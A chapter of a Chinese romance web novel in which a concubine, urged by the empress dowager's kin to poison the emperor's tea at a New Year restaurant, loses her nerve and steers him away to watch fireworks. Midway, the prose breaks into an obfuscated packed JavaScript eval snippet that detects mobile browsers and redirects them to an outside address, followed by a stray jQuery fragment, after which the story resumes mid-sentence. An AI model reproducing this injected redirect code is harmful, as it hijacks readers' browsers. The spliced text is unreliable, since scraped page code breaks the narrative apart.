绯红的绳缠绕在暴君苍白的腕上,颇有种惊心动魄的美。金色丝线缠绕的莲灯坠子在指骨处垂荡着,若即若离,顷刻间又被荡回暴君的手中之中。
一切都在他的掌握之中。
那张俊俏的脸上面无表情,生杀予夺只在弹指之间。
一日温柔当然无存,有的只剩帝王之威。
他不在意的,可以睁一只眼闭一只眼,若是在意;能够将人捧在手心之中,也能够捏死在手心里。他是整个北夏的君王,他能够坐这样的事。
施瑶谎称去楼下添置糕点,匆匆离去。待到酒楼廊道之中,方才松了一口气。耳边是堂客们的嬉笑说闹,隐隐有爆竹在楼外炸响。新年伊始,尚且还算是热闹。
雅座只用一扇又一扇的屏风遮挡着,这一扇是花鸟虫鱼,那一扇是山川湖泊,又有名人提笔作画,确实担当得起一个雅字。
施瑶心绪放松不少,扭头,正瞧见那位陛下踱步行来。
好不容易出来透气,她目前不是很想见这位陛下。随即拾级而下,没入人海之中。这大堂上人不少,正中隔开一道栏杆,里头是说书唱戏的台子。今日没请得先生前来,是酒楼东家花了大价钱单独摆放了各式花灯,看样子是可以在河中漂流许愿的那种。侧面便是掌柜的所说的点心桌子,上面还有瓜果点心可以随意抓取。
热闹,但是楼上雅间的客人向来瞧不上。
这掌柜的一看就是随了那阮家人的脑子,竟然在楼上雅间处刻意告知能够在楼下取点心,这不是明摆着有问题吗?幸得这位陛下不食人间烟火。
施瑶一到此处,方才站直身子。那藏色布衣的掌柜便从后面探出脑袋来,低声道:“娘娘吩咐了,宫内人多眼杂,娘子下手始终有顾虑。但陛下每年上元节都会来酒楼中吃茶,娘子只需要再那茶水中放上那么一点,保准神不知鬼不觉。”
四周人不多,但也有人啊!
施瑶惊呆了。
那掌柜的见施瑶没应下,一副看笨蛋的表情:“竟然忘记带东西了?”
说罢,他从他的袖兜中掏了掏,掏出来一瓶熟悉的雪白瓷瓶,塞给施瑶。
施瑶推了推,赶紧摇头,从袖子里掏出一瓶一模一样的。
掌柜的:“早说啊。”
施瑶:……
她只想摇着这人脑袋大喊几句:你倒是看看这是什么场合?生怕别人不知道你要做坏事了吗?
太后身后怎么是这么一家子有碍观瞻的人。
不过若是个个精明,陛下许是就活不到这么久了。
她抬头,隐隐从那扇水墨屏风后见着一个浅浅的影子。
掌柜:“那茶水就在桌上,别忘了。陛下每次来必点雨前龙井。”
施瑶心累的点点头,她很想说道两句,但实在是人多眼杂,她目前的道行还不够在这么多人面前筹谋而面色不改。
奈何身边有个缺根筋的掌柜盯着,她只好走过去,将瓷瓶中的东西悄悄撒进去。随后端起托盘,旁边放着捡来的几块点心。
瞧着倒是像模像样的。
掌柜的露出心照不宣的笑容。
施瑶:……
施瑶干脆走了,不然待在这儿能被气死。
这么一打岔,对暴君的那点畏惧忽然烟消云散了。只觉得可怜,就是这么些个蠢人要他的命。
蚂蚁多了大象也防不胜防啊。
施瑶叹气,待行至二楼的时候,莫名听见一道熟悉的声音。
二楼环形相对,能够看见楼下唱戏说书的台子。一间间以屏风相对,施瑶辨认了一下,应当是那扇菡萏花云母屏风后的人在说话。
许是听岔了?
“姑娘身子刚刚好一些,为何要费心劳神做这些事情?依我看来,照看好自己的身子才是您当下最应该做的事情。什么梁璟张三,您还是少操些心。”
声音影影绰绰地听不太清,施瑶端着托盘靠着墙偷听。她不敢隔得太近,屏风能够映照出人的身形。
里面传来女子低声咳嗽。
一位姑娘体弱,一位姑娘中气十足。像是中气十足的姑娘在劝那病弱的女子,不要操心梁璟。
“当初那件事本就伤及了姑娘的根本,这些年将养着方才好些。姑娘可千万不要劳心劳神了。”
女子嘶哑虚弱:“梁璟关押在刑部大狱之中?”
那中气十足的女声:“都说了您别管了。”
竟然真说得是梁璟,施瑶瞪大了眼睛。怎么北夏都还有认识梁璟的人?
那女声忽而弱了下来,颇有些无可奈何:“您还是放不下他,您不会要去救他吧?”
嘶,施瑶倒吸一口凉气。救救救梁璟?救梁璟做什么?你们不是北夏的子民吗?这南梁和北夏宿怨,怎么能够置之不理呢!
女子幽幽道:“我若救他,你当如何?”
不行,施瑶心中抓心挠肝的,这难道是梁璟的红颜知己?怎么连一个亡国之君,还被皇帝关押在牢狱之中都不怕,铆足了劲要救人?
要是把人救走了,天涯海角,她去哪里寻人?
施瑶心中一急,忍不住身子倾斜往里探头,只略微看见两个女子曼妙的人影。施瑶再往前一步,倾斜的茶盏清脆撞击托盘边缘,露出一点声响。
“谁?”
施瑶转身便溜,绕过一扇青松奇石屏风入了内。将这茶盏摆在桌面上,隔壁脚步凌乱看,声音变得越发模糊,顷刻间便没了声息。
一道竹帘字画相隔,另一侧不像是打消顾虑了,而是人走了。
施瑶垫着脚尖探头去看,那边早已人影空空。竟然如此警觉?恐怕不是一般人。
她扒着帘子,像一只偷腥的猫。
萧厌一来便看见如此情景,眉头一皱,扫了一眼脖颈的位置,单手触及绒领,一把将人捞了回来。
“迷路了在这儿偷窥?”
干坏事被人抓住,施瑶被吓了个半死,哆哆嗦嗦道:“陛下。”
萧厌来者不善,她竟然有事情瞒着他!
“在干嘛?”
施瑶转念一想,这人肯定不知道她在干嘛!不过是走错屋子了而已,这有什么大错?
对,这有什么错。
于是她胆子极大的将那只手扒拉下来,道:“不过是走错屋子而已,陛下何必兴师动众。我还拿了你喜欢喝的茶水呢!”
萧厌鼻尖轻嗅,屋子弥漫着一股清淡的雨前龙井的茶香。冬日茶叶并未长出来,这是去岁的新茶,用的是今岁梅花上的雪水新泡出来的,还有一股淡淡的梅花香气。
他忽然就不想追问了。
“带上,回去。”萧厌道。
施瑶理了理绒领,端上那盏茶,心中又犯了难了。这要是真带回去还得了,她就是谋害陛下的真凶!
跑都跑不掉。
万一没能将这位陛下毒死,又或者毒发还有余力,她就是第一个没命的!
呸呸呸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815571|190859||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他都已经这么惨了,一定要给人下毒吗?
不行。
萧厌抬步走在前面,施瑶眼眸一转,佯装摔倒,哎呀一声直直往人身上扑。萧厌反应极快,侧身单手撑肩,柔顺的锦缎触感从指尖略过,手心下还有一丝绵软。
不对。
施瑶眼睁睁看着那只手往下,搭在她的胸前。
啊!
这次是真的尖叫,手上的东西瞬间松了,即将在地上砸个粉碎。
也好,牺牲了她的清白,还是为了救这位登徒子!
简直没天理了。
施瑶顺着往下倒,几乎整个人都挨萧厌的身上。那只手并未停留,最后落在施瑶的腰间,将人抱了个满怀。
另一只手也没闲着,眼疾手快将托盘拿了个稳当。
施瑶:……
萧厌:“看路。”
施瑶:“谢谢陛下。”
颇有几分咬牙切齿的味道。
萧厌多看了她两眼,施瑶抿着唇,全都咽了下去。
她在想,要不干脆全招了吧。
就说太后想毒他,身后的阮家名字听起来软乎乎的但也是脑子傻傻的想要他的命。
然后呢,太后狗急跳墙,将她私会南梁帝的事情说了。
她被浸塘?
施瑶猛地摇头,不行不行不行。
她罪不至死。
这位陛下也罪不至死。
施瑶磨磨蹭蹭跟着人到了屋子里,萧厌坐下,好整以暇看她耍什么花招。
枝丫飞扬,花瓣翕张,一会儿又蜷缩起来。内心戏非常足,但是又装模作样好似十分淡定。
目光还多次飘向那雨前龙井之中。
萧厌一闻,除了花香茶香还有药香。
不仔细闻还真闻不出来。
下药了?
他眼眸一凛。
是她下的药吗?
她看起来很紧张。
萧厌伸手向那杯茶。
施瑶紧张得心跳快从嗓子眼冒出来了,待那冷玉似的指尖放到茶杯上时,连忙道:“等等!”
霎时,楼外烟花齐绽,绚丽而又璀璨。
烟花背景之前,是那支心思写在脸上的蔷薇。微微颤动着,花瓣全都指向他的指尖。
别拿。
萧厌读懂了,他轻笑了一下:“走,出去看烟花。”
苍白的指尖离开了那盏危险的茶水,伸向了施瑶。
施瑶忙不迭将手递了上去,生怕他反悔:“上菜应该还有一段时间,公子交了定金,看完烟花和河灯再过来,正正好。”
完美的解释。
施瑶粲然笑,两个浅浅的梨涡露出来。映在花瓣上变成了弯弯的模样,很可爱。
她拽着陛下往楼下奔。
北城门上空陆陆续续放出各色漂亮烟花,半空之中变成了一副璀璨的盛景。
施瑶拉着陛下在人海之中,人群脸上的笑意染到了她的面上,这是真心实意的:“陛下,你看,烟花。”
“好漂亮。”
万绿丛中一点红,那红色的花映出一个人影来。
萧厌:“好看。”
人影逐渐清晰,变成了那张熟悉的脸。
施瑶转过去,温热的触感顺手心中往上,染红了她的脸颊。
“是很好看。”
她偷偷扭过头,陛下这张脸也很好看。
比天上的烟花还好看。